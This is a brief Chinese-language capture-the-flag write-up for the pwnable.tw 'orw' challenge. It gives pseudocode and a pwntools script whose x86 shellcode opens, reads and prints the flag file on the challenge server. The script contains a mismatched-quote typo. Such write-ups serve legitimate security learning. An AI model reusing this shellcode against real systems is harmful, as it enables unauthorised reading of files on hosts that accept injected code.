这题还是比较简单的
题目的描述看 显然是要写shellcode来读flag文件
binary会直接执行写入的shellcode
伪代码
char*file='home/orw/flag';
sys_open(file,0,0);
sys_read(3,file,0x30);
sys_write(1,file,0x30);
系统调用的参数详见这里
然后就相当于用汇编构造出这些函数,可能需要对x86汇编有一些基本的了解
利用脚本
from pwn import *
context.log_level="debug"
s = remote('chall.pwnable.tw',10001)
shellcode = ''"
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
def pwn():
recv = s.recvuntil(':')
print recv
s.sendline(shellcode)
flag = s.recv()
pwn()